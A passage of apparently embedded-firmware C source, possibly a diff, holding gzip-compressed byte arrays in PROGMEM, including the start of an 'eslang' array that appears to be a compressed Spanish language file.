0x5e, 0xfa, 0x2e, 0x6f, 0xd9, 0x21, 0x62, 0xe8, 0x47, 0xf9, 0xcb, 0xc1, 0xb7, 0xc5, 0x85, 0xcd, 0x97, 0x2d, 0x42, 0x9a, 0x8d, 0xa6, 0xe2, 0xc6, 0xef, 0x06, 0xea, 0xb0, 0x8e, 0xb5, 0x27, 0x75, 0x39, 0x30, 0x71, 0xc7, 0xaa, 0xb1, 0xd5, 0x43, 0x9c, 0xa8, 0x15, 0x9c, 0x4b, 0x5e, 0xfb, 0x0e, 0xe3, 0xad, 0x77, 0x66, 0xcf, 0x2e, 0xdc, 0xe8, 0x47, 0x03, 0x17, 0xc2, 0x12, 0x71, 0x4b, 0xfa, 0xd1, 0x2e, 0x0b, 0x55, 0x9a, 0x06, 0xbf, 0x3a, 0xb2, 0x0e, 0x9f, 0x99, 0xf6, 0x13, 0x11, 0xe6, 0xdb, 0xb6, 0x73, 0x36, 0x91, 0x73, 0xa0, 0x77, 0x4d, 0x07, 0x91, 0x18, 0x9a, 0x5b, 0xd9, 0xf5, 0x46, 0x04, 0x68, 0xcc, 0xa6, 0x04, 0x4d, 0x3f, 0x59, 0x84, 0x55, 0x09, 0x19, 0xf6, 0xdf, 0x7b, 0x3e, 0x1d, 0x5e, 0xb5, 0x0e, 0x2b, 0x5b, 0xb9, 0xc4, 0xa3, 0x8d, 0x36, 0xfd, 0x88, 0x14, 0xfc, 0xdd, 0x20, 0xff, 0x4e, 0x97, 0x5d, 0x4a, 0xde, 0x51, 0x1a, 0xce, 0x44, 0x4d, 0x78, 0x4b, 0xe2, 0x2e, 0x5b, 0xdb, 0x7b, 0x39, 0x18, 0x11, 0x88, 0xb8, 0x26, 0xd3, 0x3d, 0x1a, 0x16, 0x12, 0x4c, 0xe3, 0x75, 0x4d, 0x3b, 0xef, 0xe4, 0x8b, 0x06, 0x23, 0xd2, 0x86, 0x86, 0xe6, 0xf4, 0x97, 0x07, 0xa2, 0xad, 0x23, 0x8f, 0xcc, 0x67, 0x57, 0x91, 0x87, 0x74, 0x4a, 0x1a, 0xc6, 0xa2, 0xc1, 0xcb, 0xfc, 0xc9, 0x2b, 0x71, 0x1b, 0x38, 0x49, 0x16, 0x97, 0x6f, 0x9a, 0xa0, 0x4b, 0xb0, 0x82, 0xf4, 0xb7, 0x0c, 0x2c, 0xe2, 0x56, 0x4e, 0x9a, 0xdd, 0xbc, 0xff, 0x88, 0x3f, 0x2c, 0xb8, 0x69, 0x58, 0x28, 0xfe, 0xd0, 0xcf, 0x6a, 0xa3, 0x9d, 0x33, 0x3c, 0xf4, 0x2e, 0x7f, 0xf2, 0xe5, 0x25, 0x41, 0xf9, 0x18, 0x5c, 0xb8, 0x56, 0x57, 0x79, 0x40, 0x94, 0x20, 0x97, 0x2c, 0xb2, 0xa4, 0x39, 0xff, 0x52, 0x45, 0x20, 0x72, 0x76, 0x34, 0x7d, 0x95, 0x7f, 0xf7, 0x0b, 0x82, 0x69, 0x61, 0x9d, 0x32, 0x7d, 0xc7, 0xbf, 0xfa, 0x49, 0x78, 0x88, 0xfc, 0xb0, 0x20, 0x13, 0x2d, 0x12, 0x8c, 0xcf, 0x27, 0xc8, 0xa0, 0x22, 0x7b, 0xa9, 0x7b, 0x1a, 0xa4, 0xa5, 0xce, 0xec, 0x68, 0xf2, 0x06, 0x7f, 0x78, 0x27, 0xd4, 0x2c, 0xea, 0xca, 0x45, 0x6b, 0xb6, 0xfb, 0x65, 0x5d, 0x97, 0x9f, 0x0b, 0xd1, 0xc4, 0xf0, 0xf8, 0xbb, 0x06, 0x91, 0xa7, 0xca, 0x88, 0xba, 0xbc, 0x95, 0xbb, 0x41, 0x99, 0xb0, 0x0b, 0x36, 0xb1, 0xac, 0x8f, 0xfd, 0x0f, 0x9a, 0x22, 0x75, 0x16, 0x14, 0x91, 0x01, 0x50, 0xc5, 0x98, 0x8c, 0x01, 0x35, 0x2b, 0x03, 0xac, 0x53, 0xd7, 0x2e, 0x05, 0xaf, 0x6f, 0xe4, 0x8b, 0xf7, 0xe9, 0xb0, 0x36, 0x89, 0x6d, 0x79, 0x9f, 0x3f, 0x4b, 0x14, 0x2c, 0x8a, 0xdb, 0x4e, 0xd5, 0x3b, 0x4a, 0x0e, 0xb9, 0x22, 0x05, 0xd6, 0x4e, 0x5b, 0xca, 0xe5, 0x64, 0x1b, 0x0e, 0xac, 0x65, 0xd3, 0x19, 0xf5, 0xd7, 0xeb, 0x2b, 0xa4, 0x95, 0x20, 0xd3, 0xd2, 0x13, 0xf4, 0xa5, 0x2e, 0x00, 0xad, 0xfc, 0x6a, 0xa5, 0x5e, 0x22, 0x9a, 0xc9, 0x97, 0x6b, 0x82, 0x04, 0xaf, 0xd6, 0xc1, 0x18, 0xf7, 0x8a, 0x33, 0xc5, 0x49, 0xde, 0xd1, 0x4e, 0x89, 0x41, 0x44, 0xff, 0xa9, 0xba, 0x87, 0xd0, 0x9d, 0x59, 0x72, 0x86, 0x85, 0x95, 0x46, 0xd0, 0xee, 0x6c, 0xd3, 0x20, 0x5b, 0x70, 0xa8, 0x7e, 0xd4, 0xb6, 0xd1, 0xcb, 0x06, 0xe0, 0xd6, 0x05, 0xae, 0x26, 0x2a, 0xfb, 0x45, 0xc5, 0xa2, 0x1f, 0xa5, 0x38, 0xef, 0xe0, 0x7c, 0x48, 0x94, 0xb6, 0x00, 0x0e, 0x27, 0x68, 0x75, 0xaa, 0x32, 0x38, 0x66, 0xd7, 0x33, 0x16, 0x90, 0xb9, 0xc5, 0x14, 0x58, 0x71, 0x08, 0xfb, 0x81, 0x09, 0xb8, 0xc6, 0x51, 0x0a, 0x28, 0x60, 0x11, 0x57, 0x39, 0x14, 0x86, 0xba, 0x87, 0x8f, 0xa5, 0xd1, 0x38, 0x82, 0x4f, 0x07, 0x14, 0x40, 0x53, 0xc9, 0x11, 0xbe, 0xce, 0xb5, 0x46, 0x71, 0xe2, 0xad, 0xa4, 0x20, 0xdd, 0x62, 0x4b, 0x4a, 0xbd, 0xbe, 0x20, 0xa3, 0x04, 0x0d, 0x17, 0x87, 0xc8, 0x0b, 0xaf, 0x18, 0xae, 0x21, 0x12, 0x7a, 0xd0, 0x0a, 0xb1, 0x0d, 0x05, 0x0f, 0x20, 0xd2, 0xb0, 0x71, 0x51, 0x38, 0x2d, 0x85, 0x84, 0x66, 0x81, 0xbc, 0xeb, 0x1f, 0x18, 0x2d, 0x17, 0x95, 0x1d, 0x62, 0x4a, 0xa5, 0x57, 0x04, 0x2e, 0x15, 0x62, 0x89, 0xec, 0xc4, 0xe9, 0x3b, 0xcd, 0xb7, 0x13, 0xed, 0x06, 0xd7, 0x23, 0x21, 0x2d, 0x23, 0x53, 0x43, 0x20, 0x9f, 0xcd, 0x45, 0x56, 0xe5, 0x93, 0x61, 0xe2, 0x90, 0x6b, 0x77, 0xbe, 0xd9, 0x8b, 0x72, 0xb4, 0x33, 0x50, 0x07, 0x47, 0x67, 0x73, 0xea, 0x6c, 0xc7, 0xde, 0x32, 0xb5, 0xd1, 0x5d, 0xda, 0x0c, 0xed, 0xd1, 0xef, 0xd2, 0x7c, 0xb7, 0x5a, 0x6c, 0xf3, 0x6b, 0x2c, 0x29, 0x71, 0x28, 0xb8, 0x25, 0x7e, 0x45, 0xf5, 0x8c, 0x1b, 0xde, 0xb7, 0xc5, 0x22, 0x1c, 0x1b, 0x74, 0x32, 0xe5, 0x96, 0x05, 0x90, 0x06, 0xf7, 0x9c, 0xfb, 0x96, 0x3c, 0x2f, 0xe3, 0x8a, 0x4a, 0xaf, 0x05, 0xca, 0x6a, 0x7c, 0x2d, 0xbd, 0x4f, 0x83, 0x43, 0x62, 0xb6, 0x68, 0xab, 0x1f, 0xb0, 0xa1, 0xc3, 0xa2, 0x52, 0x3d, 0x0e, 0xb1, 0xac, 0x69, 0xeb, 0x76, 0xdb, 0x58, 0x53, 0x97, 0x23, 0x19, 0xd9, 0xc6, 0xec, 0x68, 0x86, 0x20, 0xd7, 0x52, 0x38, 0x61, 0xbd, 0xce, 0xa1, 0x2e, 0x49, 0x5a, 0x9b, 0x10, 0x7c, 0x98, 0xa8, 0xad, 0x84, 0x63, 0xb9, 0x15, 0xae, 0x02, 0x98, 0xe7, 0x1a, 0x04, 0x5f, 0xf8, 0x07, 0xc5, 0xb5, 0x91, 0x94, 0x0e, 0x16, 0x85, 0x06, 0x35, 0xc9, 0x26, 0x98, 0x8a, 0xcc, 0xb5, 0xea, 0x02, 0xb3, 0xa5, 0xda, 0x2c, 0xbb, 0xf5, 0x1a, 0x37, 0x9a, 0x16, 0x9c, 0x0a, 0x69, 0x01, 0xe0, 0xdf, 0x32, 0xe6, 0xdc, 0x5f, 0xde, 0xdd, 0xab, 0xef, 0xd4, 0xfc, 0xfe, 0xe3, 0xed, 0x61, 0xba, 0x9f, 0xc9, 0x43, 0x65, 0x6d, 0x5e, 0xb3, 0xb3, 0x2b, 0xbb, 0x40, 0xea, 0x32, 0xf5, 0xa3, 0xea, 0xf4, 0x11, 0xdf, 0x02, 0x90, 0x64, 0x27, 0x01, 0x47, 0xfe, 0x92, 0x41, 0x58, 0x54, 0xc6, 0xe8, 0x83, 0x86, 0x8c, 0xa3, 0x1c, 0x5d, 0x04, 0xdc, 0xc2, 0xb7, 0x34, 0x75, 0xcd, 0x03, 0xea, 0x8e, 0x07, 0xd4, 0x07, 0x5f, 0x9b, 0x52, 0xc8, 0x8e, 0x16, 0x5e, 0xc9, 0xc8, 0x93, 0x95, 0xb2, 0x62, 0x41, 0xb4, 0x6b, 0x20, 0x8f, 0xe9, 0x89, 0xac, 0x6c, 0xb1, 0x92, 0xe1, 0xc5, 0x38, 0x43, 0x51, 0x40, 0x5e, 0x95, 0x99, 0x41, 0xda, 0x22, 0xb0, 0xd4, 0xda, 0x3e, 0x22, 0xa4, 0x0b, 0x58, 0x4e, 0x73, 0x65, 0xa0, 0x28, 0xed, 0xa5, 0xbf, 0xa3, 0x2c, 0x88, 0xb9, 0x96, 0xf7, 0xa9, 0x00, 0x0f, 0xb2, 0x31, 0x72, 0x01, 0x52, 0xcb, 0x3d, 0xbc, 0xe2, 0x6a, 0xca, 0x0b, 0xd9, 0x0f, 0x6a, 0x62, 0x85, 0xd6, 0x16, 0x96, 0x08, 0x7d, 0x74, 0x85, 0xb5, 0xa0, 0x36, 0x1e, 0x27, 0x0a, 0xc3, 0x44, 0x96, 0x12, 0x89, 0x29, 0x62, 0x28, 0xad, 0x0b, 0xd6, 0x23, 0x8e, 0x18, 0x69, 0xf0, 0xbf, 0x10, 0x29, 0x0f, 0x20, 0xa2, 0x8b, 0x2e, 0x4d, 0xa5, 0x81, 0x38, 0x50, 0xbf, 0x01, 0x93, 0x84, 0x26, 0x65, 0xb7, 0x70, 0x3c, 0x9a, 0x22, 0x6d, 0x85, 0x7f, 0xee, 0x4e, 0x2f, 0xce, 0xce, 0xfe, 0x70, 0x60, 0xa1, 0x1c, 0xba, 0x70, 0x27, 0x80, 0x46, 0xf8, 0x51, 0xca, 0x37, 0x2a, 0x4c, 0x98, 0x99, 0xd4, 0x20, 0xd1, 0x32, 0x44, 0xb2, 0x0a, 0x3d, 0x4e, 0xf6, 0x10, 0xa9, 0x3e, 0x15, 0x34, 0xca, 0x73, 0x6d, 0xd7, 0x24, 0xbb, 0x6d, 0xca, 0x82, 0xcc, 0xb4, 0x42, 0xe7, 0x08, 0xd8, 0x6b, 0x4b, 0x07, 0xd3, 0x85, 0x73, 0x3d, 0x17, 0x23, 0x70, 0x18, 0xb2, 0xce, 0x72, 0x2e, 0x93, 0x47, 0x46, 0x6d, 0xe4, 0x64, 0xf5, 0x40, 0x07, 0x83, 0xd2, 0x01, 0x39, 0x41, 0x92, 0x76, 0x28, 0x18, 0x58, 0xca, 0xc8, 0x34, 0x94, 0xb1, 0x2f, 0xd0, 0x07, 0x6a, 0x46, 0x13, 0xd5, 0x18, 0xed, 0x85, 0xf3, 0x1e, 0xd5, 0x92, 0x92, 0xa9, 0x82, 0x33, 0xbd, 0xc7, 0xdf, 0x0a, 0xec, 0x08, 0x8a, 0x48, 0x6a, 0x33, 0xc0, 0x93, 0x03, 0x6b, 0x94, 0xda, 0x64, 0xc9, 0xf8, 0x43, 0x57, 0xa2, 0xcd, 0xd8, 0x33, 0x21, 0xb5, 0xae, 0xf3, 0x5d, 0x6c, 0x0e, 0xc1, 0xb0, 0x1c, 0xcb, 0x02, 0x2b, 0x3d, 0x5c, 0x8e, 0x53, 0xba, 0xb1, 0x00, 0x15, 0x52, 0xbe, 0x02, 0x59, 0x23, 0x28, 0x00, 0x5f, 0x90, 0xd0, 0x2a, 0x9d, 0x08, 0xb4, 0x24, 0x98, 0xa4, 0x82, 0x41, 0x8c, 0xd3, 0xae, 0xf6, 0xc2, 0xe1, 0x64, 0x5a, 0x39, 0x0e, 0x2e, 0x26, 0x78, 0x19, 0xd8, 0xf9, 0x4e, 0x0c, 0x98, 0xfd, 0x95, 0x6e, 0x19, 0x3e, 0xb9, 0xbd, 0x88, 0xf9, 0x4a, 0x91, 0xdc, 0x80, 0xb0, 0x3d, 0x8a, 0x40, 0xba, 0x64, 0x7c, 0x50, 0x16, 0x08, 0xa5, 0x1e, 0xdc, 0xa0, 0x23, 0xa2, 0x38, 0x74, 0x46, 0x87, 0xe5, 0x7e, 0x2a, 0x2d, 0xd4, 0x20, 0x50, 0xb8, 0xde, 0x78, 0xb7, 0xa2, 0xd0, 0x63, 0xdd, 0x53, 0xa0, 0x0b, 0x07, 0xce, 0x0b, 0x88, 0x23, 0x4b, 0x10, 0x4a, 0xf5, 0xcd, 0x55, 0x4f, 0xbf, 0xe5, 0x46, 0xf6, 0xd0, 0x3a, 0xf5, 0x09, 0x3a, 0xa5, 0x96, 0xeb, 0x5b, 0xba, 0x19, 0x99, 0x08, 0x26, 0xed, 0x4b, 0x79, 0x34, 0x86, 0xdb, 0x25, 0xdb, 0xc2, 0xac, 0x7c, 0x87, 0xa1, 0x2a, 0x44, 0xfe, 0x05, 0x9b, 0x37, 0x04, 0xf0, 0xf9, 0xc8, 0xe9, 0xb0, 0x0a, 0x2c, 0xe0, 0xc4, 0x68, 0x85, 0x29, 0xff, 0x4d, 0x3e, 0x95, 0x50, 0x22, 0x38, 0x67, 0x6a, 0xa6, 0xea, 0xf1, 0x62, 0x7a, 0x56, 0xd2, 0x2f, 0xef, 0x91, 0x1e, 0x92, 0x92, 0x60, 0x69, 0x32, 0xea, 0xf7, 0x3a, 0x47, 0x9c, 0x56, 0x11, 0x3c, 0xd4, 0x66, 0x7c, 0x0e, 0x31, 0x87, 0x13, 0x95, 0x09, 0x33, 0xa3, 0xfe, 0x20, 0x6a, 0xc6, 0xac, 0x61, 0x4c, 0x72, 0x5e, 0xc2, 0xfe, 0x82, 0x9b, 0xf5, 0x2b, 0x56, 0x84, 0xba, 0x3f, 0xb7, 0xc6, 0xcd, 0xda, 0x0e, 0x39, 0xba, 0x34, 0x7d, 0x2a, 0x9c, 0x73, 0xf4, 0xbf, 0x3e, 0x1f, 0x12, 0x88, 0x91, 0x0e, 0x5b, 0x1d, 0x23, 0x2c, 0xc0, 0x64, 0xf2, 0x36, 0x7f, 0xff, 0x36, 0xaa, 0xbc, 0xf9, 0x7f, 0xaa, 0x0c, 0x48, 0xfc, 0x95, 0x59, 0x69, 0x20, 0x85, 0x44, 0x4b, 0x1e, 0x97, 0xa8, 0x28, 0x74, 0x6a, 0x44, 0x36, 0xc6, 0x72, 0x36, 0xb6, 0xae, 0x0d, 0x7b, 0xef, 0x4f, 0xb6, 0xce, 0xd8, 0x3c, 0xba, 0xce, 0x48, 0xd0, 0xaf, 0xb8, 0xd6, 0x58, 0x4b, 0xbd, 0x4d, 0x28, 0x0b, 0xb7, 0x3e, 0x24, 0xe1, 0xcf, 0x52, 0x5f, 0xe8, 0x15, 0x81, 0x27, 0x70, 0x06, 0xcd, 0x48, 0xdf, 0x36, 0x3c, 0xf5, 0xeb, 0x22, 0x51, 0x10, 0x7c, 0x21, 0xfe, 0x45, 0x1a, 0x8d, 0x51, 0x37, 0x57, 0x11, 0xbf, 0xc8, 0xdd, 0x2f, 0xe7, 0xef, 0x24, 0xe7, 0x62, 0xce, 0x6c, 0x06, 0xc8, 0xcc, 0x52, 0x9e, 0x97, 0x5a, 0xfa, 0x0f, 0xe6, 0xf9, 0xa5, 0x96, 0x89, 0x7a, 0xc7, 0x67, 0x20, 0x60, 0x5b, 0xa4, 0x10, 0x00, 0x0c, 0xe9, 0x5a, 0x1f, 0xc9, 0x43, 0x01, 0x46, 0x9b, 0xbc, 0x1f, 0x2a, 0x99, 0x87, 0x06, 0x90, 0xf9, 0xdc, 0x0e, 0x3a, 0x18, 0xc8, 0x36, 0xd0, 0x41, 0xe5, 0x03, 0x32, 0xf1, 0xdc, 0x6d, 0x6c, 0x25, 0xd4, 0xac, 0x08, 0x3c, 0x74, 0x04, 0xec, 0x67, 0xeb, 0x10, 0x2f, 0xb0, 0x2d, 0x05, 0x98, 0x57, 0x99, 0x09, 0x8c, 0x37, 0xc8, 0x19, 0x13, 0xb2, 0x05, 0x21, 0x28, 0x10, 0xe7, 0xec, 0x28, 0xd9, 0x98, 0x15, 0x0d, 0xb5, 0xcf, 0x3c, 0x69, 0x88, 0xf7, 0x0c, 0x29, 0x54, 0x15, 0xda, 0x16, 0x08, 0x4d, 0x70, 0xeb, 0x59, 0x56, 0x39, 0xd2, 0xa6, 0x17, 0xcf, 0x08, 0xbd, 0xae, 0x36, 0x7e, 0x28, 0xd8, 0xe0, 0x37, 0x1b, 0xd8, 0x10, 0x9f, 0xb7, 0x0e, 0xe2, 0xc8, 0xba, 0x70, 0x57, 0xd4, 0x6b, 0xd4, 0x4a, 0xe0, 0x4b, 0x3e, 0x7c, 0xac, 0x22, 0x42, 0x70, 0x28, 0x66, 0x5c, 0x8c, 0x8e, 0x57, 0xce, 0xb7, 0xa8, 0x96, 0x71, 0xb8, 0x7e, 0x7e, 0x3b, 0x7b, 0xff, 0x7e, 0x2e, 0x9e, 0x05, 0x0e, 0xd2, 0xf6, 0x95, 0xc5, 0xc4, 0x78, 0x6b, 0x23, 0x8d, 0x63, 0xd9, 0x44, 0x46, 0x7c, 0x79, 0xf7, 0xd3, 0xdb, 0x57, 0xdc, 0x97, 0xad, 0x50, 0x64, 0xc0, 0x60, 0xc7, 0x3b, 0x5a, 0xfd, 0xa5, 0xda, 0xd0, 0x9e, 0x0f, 0xfa, 0xcb, 0xf4, 0x90, 0x8d, 0x5e, 0xda, 0x28, 0xef, 0x08, 0xf0, 0xe7, 0xea, 0x8f, 0xea, 0xfc, 0x7c, 0xa2, 0xae, 0x7f, 0xa6, 0x8f, 0xd7, 0x13, 0xf5, 0x67, 0x8d, 0xa6, 0x9d, 0xbe, 0x7f, 0x7f, 0x2c, 0xac, 0xba, 0xbc, 0x65, 0x61, 0x97, 0xef, 0x50, 0x2f, 0xeb, 0x40, 0x09, 0x32, 0x4a, 0xc4, 0x51, 0xd2, 0x10, 0x55, 0x3b, 0x3c, 0x76, 0xc1, 0x1b, 0x99, 0x5d, 0xd3, 0xc2, 0xa1, 0x04, 0x46, 0x7e, 0xc6, 0xdf, 0x60, 0x10, 0x10, 0x95, 0x44, 0x07, 0x5b, 0x8f, 0x1e, 0x0e, 0x47, 0x4b, 0x37, 0xc6, 0x0d, 0x0e, 0x3a, 0x9c, 0x43, 0x90, 0x90, 0x13, 0xf4, 0x89, 0xce, 0xf3, 0xf4, 0x3f, 0x75, 0x2e, 0x8d, 0xe5, 0x6f, 0xa9, 0xee, 0xf0, 0x8c, 0xaf, 0xaa, 0x5a, 0x6d, 0x46, 0xe9, 0xce, 0x2f, 0x9e, 0xf0, 0x12, 0xf7, 0x75, 0xc4, 0xcb, 0x8a, 0xf7, 0xf2, 0x53, 0xe0, 0xda, 0xd3, 0x44, 0x26, 0x3f, 0xe8, 0x37, 0xd2, 0x31, 0x04, 0xa0, 0x23, 0x27, 0x2d, 0x01, 0x5d, 0x65, 0xe7, 0xc6, 0x6f, 0xb7, 0x8c, 0x15, 0xf1, 0x2b, 0x68, 0x86, 0x58, 0xbf, 0x62, 0x8e, 0xcb, 0xc1, 0xf9, 0xc1, 0x3a, 0xdb, 0x76, 0x6d, 0x2e, 0xa0, 0x42, 0x47, 0x9f, 0x27, 0xc0, 0x82, 0xe8, 0x45, 0xd9, 0xe4, 0x73, 0x19, 0x65, 0xd5, 0x28, 0x36, 0x29, 0x0d, 0xa5, 0x43, 0x6c, 0x9f, 0x54, 0x52, 0x29, 0xee, 0xe9, 0x00, 0x34, 0x97, 0x19, 0x58, 0x60, 0x7b, 0xdd, 0xd2, 0xf3, 0x27, 0xbf, 0x46, 0x92, 0x49, 0x5e, 0x1e, 0xe0, 0xe7, 0xd5, 0x80, 0x54, 0x66, 0xee, 0x80, 0xf6, 0xe6, 0x00, 0x8b, 0xf4, 0xc2, 0x09, 0x6f, 0xce, 0x0f, 0x90, 0x32, 0xc6, 0x82, 0xb1, 0x0e, 0x30, 0x68, 0x65, 0x32, 0x93, 0xe3, 0xe2, 0xe3, 0x77, 0xe8, 0x09, 0x41, 0x44, 0x70, 0x80, 0x69, 0xb7, 0x29, 0x4a, 0xef, 0x0b, 0xbc, 0xce, 0x8f, 0x8f, 0xbc, 0x34, 0xcb, 0x67, 0x8a, 0x02, 0x5c, 0xee, 0x8c, 0xda, 0xa0, 0xb9, 0x86, 0xee, 0x56, 0xde, 0x4a, 0x77, 0xf4, 0x82, 0xcd, 0xbd, 0xc1, 0xc6, 0x9a, 0x47, 0x73, 0x78, 0x0a, 0x1c, 0x74, 0xb1, 0xd2, 0xac, 0x2c, 0xbb, 0xb8, 0x27, 0xea, 0xa6, 0x21, 0xf2, 0x2d, 0x3c, 0x8d, 0xcf, 0x55, 0xd7, 0x88, 0xe4, 0x9e, 0xa5, 0xf8, 0xae, 0xa9, 0xa5, 0x53, 0x95, 0x8e, 0x9b, 0x2b, 0x49, 0x6c, 0xfc, 0x8e, 0x7c, 0x93, 0x5f, 0x12, 0x3b, 0xf0, 0x7c, 0xba, 0x21, 0xe4, 0x20, 0xe3, 0xb3, 0x56, 0x10, 0x72, 0xf1, 0xfd, 0xf7, 0x63, 0xf4, 0x13, 0x77, 0x44, 0x7a, 0xce, 0x64, 0x36, 0x3f, 0xba, 0xf5, 0x13, 0x37, 0xf3, 0x03, 0x37, 0x6c, 0x17, 0xa3, 0xaf, 0xec, 0xc8, 0xf3, 0x3d, 0xdf, 0x24, 0xc3, 0xf4, 0xb8, 0x29, 0x32, 0xa7, 0xcf, 0x9c, 0x78, 0x87, 0xec, 0x12, 0x7a, 0x76, 0x2f, 0x6f, 0xce, 0xf8, 0xc5, 0xf4, 0xaa, 0xaf, 0xec, 0x2c, 0x8d, 0xa9, 0xde, 0xe0, 0x61, 0xe1, 0xd0, 0x68, 0xd1, 0x73, 0x2c, 0xcf, 0xe4, 0x17, 0x88, 0x6c, 0x87, 0xdd, 0x66, 0x7f, 0xdc, 0xc8, 0x95, 0xe7, 0xa4, 0x8a, 0xda, 0xbc, 0xa3, 0x5c, 0x13, 0xf2, 0x3e, 0x60, 0x2d, 0xb3, 0xbe, 0xc0, 0x4f, 0x0a, 0x15, 0xa5, 0xf7, 0x6b, 0x7c, 0xe4, 0xa3, 0x9f, 0xef, 0x71, 0x38, 0xf0, 0xd1, 0x02, 0x39, 0x79, 0xa4, 0x2a, 0xcf, 0x1a, 0xd2, 0x63, 0x3d, 0x73, 0xe2, 0x6c, 0xf0, 0x78, 0x87, 0x23, 0xa9, 0xe2, 0xa5, 0xd0, 0x99, 0x49, 0xde, 0x19, 0x7b, 0xa5, 0x7b, 0x9b, 0x22, 0x70, 0xc2, 0x3e, 0x47, 0xfd, 0x54, 0x95, 0x3d, 0xa8, 0x51, 0xba, 0x89, 0x66, 0x72, 0xc0, 0x1e, 0x22, 0x06, 0x65, 0xf3, 0xf9, 0xd9, 0x59, 0x4b, 0xcd, 0xc5, 0x25, 0x1a, 0x11, 0xa4, 0x61, 0x38, 0xac, 0xa0, 0x7f, 0x55, 0x89, 0x12, 0x2a, 0x14, 0x28, 0xb6, 0xa1, 0xe7, 0x6b, 0x7e, 0x84, 0x20, 0xbc, 0x8a, 0x5b, 0xdd, 0xb6, 0x99, 0xb0, 0xe4, 0x6c, 0x80, 0x66, 0x1d, 0xa7, 0x90, 0x84, 0x5f, 0xa2, 0xf0, 0xcb, 0x42, 0x0f, 0x6f, 0x83, 0xd2, 0x68, 0x44, 0x94, 0xac, 0xfc, 0xfc, 0xcd, 0xef, 0x6a, 0x63, 0x54, 0x18, 0x5b, 0x43, 0x7a, 0xf6, 0xfb, 0xbf, 0x0f, 0xcb, 0x99, 0x8c, 0xd9, 0x7f, 0x51, 0x3f, 0x86, 0xef, 0xd8, 0xda, 0xc8, 0xfc, 0x7d, 0xcb, 0x11, 0xce, 0x70, 0x98, 0x5b, 0x2f, 0xb2, 0xcb, 0x93, 0x17, 0xa4, 0xdc, 0x02, 0x65, 0x7f, 0x1d, 0x31, 0x65, 0x5a, 0x11, 0x6f, 0x4d, 0x20, 0x1a, 0x36, 0x0a, 0xf5, 0xe7, 0xf6, 0x1e, 0x82, 0xba, 0x0f, 0x68, 0x7e, 0x87, 0x1b, 0xd7, 0xe2, 0xfc, 0x0f, 0x69, 0x85, 0xee, 0xd2, 0xef, 0x8e, 0x28, 0xc2, 0xb3, 0xa4, 0x54, 0xf2, 0x3a, 0xbf, 0x30, 0x99, 0xc1, 0x62, 0x14, 0x79, 0x65, 0xbe, 0xa0, 0x29, 0x8a, 0x2f, 0x4e, 0xbe, 0xf9, 0xcf, 0x7f, 0x01, 0xd0, 0xa5, 0x32, 0xe0, 0xa5, 0x1b, 0x00, 0x00}; +const char eslang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x65, 0x73, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xb5, 0x59, 0x4d, 0x73, 0x1c, 0xb7, 0x11, 0x3d, 0xc7, 0xbf, 0x02, 0xe2, 0x85, 0x72, 0xd5, 0x8a, 0xa6, 0xa4, 0xd8, 0xe5, 0xb8, 0x2a, 0x07, 0x9a, 0x5c, 0xd9, 0x4c, 0x1c, 0x99, 0xd1, 0xca, 0x71, 0x0e, 0xac, 0x62, 0x61, 0x67, 0xb0, 0x4b, 0xd0, 0x18, 0x60, 0x0c, 0xcc, 0x2c, 0x45, 0xa5, 0xf2, 0x63, 0x78, 0xf4, 0x41, 0x07, 0x97, 0x6f, 0x3e, 0x7a, 0xff, 0x58, 0x5e, 0x77, 0x63, 0xbe, 0x96, 0x2b, 0xa5, 0x9c, 0xaa, 0x1c, 0x44, 0xed, 0xce, 0x00, 0x8d, 0x46, 0xf7, 0xeb, 0xd7, 0x1f, 0xfb, 0xaf, 0x8f, 0x94, 0x3a, 0x70, 0xda, 0xaf, 0x0f, 0xbe, 0x50, 0x07, 0x26, 0x1d, 0xcc, 0xe8, 0xfb, 0xad, 0x8e, 0xde, 0xca, 0xa3, 0x93, 0xb3, 0x7f, 0xcc, 0x5f, 0xbd, 0x9e, 0xbf, 0x3c, 0x3d, 0x3f, 0xc1, 0xbb, 0x3f, 0x1c, 0x94, 0x36, 0x15, 0x4e, 0xdb, 0xca, 0x44, 0x7a, 0x3b, 0x4f, 0x8d, 0x51, 0x75, 0x0c, 0x77, 0xa6, 0x68, 0x82, 0x32, 0x49, 0xb5, 0x5e, 0xe3, 0x7b, 0x6b, 0x96, 0x5a, 0x95, 0x46, 0x15, 0xc1, 0x17, 0xa6, 0xc6, 0x1b, 0x7c, 0xc0, 0x2b, 0x55, 0x85, 0xc6, 0x6e, 0x82, 0x2a, 0x6d, 0xb9, 0xbd, 0x2f, 0x1a, 0x5b, 0x04, 0x75, 0xa7, 0xcc, 0x9b, 0xda, 0x44, 0xc8, 0xf3, 0x8d, 0x76, 0x47, 0xea, 0xd2, 0xbf, 0xb4, 0xca, 0x38, 0xac, 0x2c, 0x5b, 0x17, 0xd4, 0x7c, 0x71, 0xf1, 0xf9, 0xb3, 0xcf, 0x3e, 0x9b, 0x29, 0x6f, 0x55, 0x6a, 0x55, 0x34, 0x4e, 0xb3, 0x84, 0xc5, 0xd9, 0x5f, 0xd5, 0xaa, 0x35, 0x11, 0x62, 0x8b, 0x68, 0x74, 0x19, 0x92, 0x0a, 0x9d, 0x1e, 0xfc, 0xad, 0xd6, 0x51, 0x43, 0x9f, 0x86, 0x3e, 0xc6, 0x50, 0x6f, 0x7f, 0x49, 0x16, 0x9f, 0x49, 0xfe, 0xa5, 0xff, 0xae, 0xb1, 0xce, 0xbe, 0xd5, 0xca, 0xe1, 0xe5, 0x2a, 0xea, 0x0a, 0x6a, 0x7f, 0x6f, 0x9f, 0xbc, 0xb0, 0x6a, 0xb3, 0xbd, 0x77, 0x96, 0x76, 0x97, 0x26, 0x15, 0x91, 0x36, 0x28, 0xe3, 0x49, 0x1b, 0x08, 0xda, 0xde, 0xfb, 0x52, 0x47, 0x75, 0x3e, 0x9f, 0xcf, 0xd5, 0xe7, 0xc7, 0xcf, 0x8e, 0x9e, 0x3e, 0x85, 0xee, 0x3e, 0xa8, 0xa5, 0x0b, 0x3f, 0xb6, 0x06, 0x6f, 0x82, 0xb2, 0xbe, 0x31, 0x31, 0xb6, 0x55, 0x6d, 0x23, 0xe4, 0x9a, 0xa2, 0x35, 0xbe, 0xb0, 0x5a, 0x69, 0xb7, 0x86, 0x55, 0xe8, 0xe8, 0x8b, 0x80, 0x17, 0x7a, 0x83, 0xbf, 0x1b, 0x5c, 0x79, 0x65, 0x0b, 0x6c, 0x73, 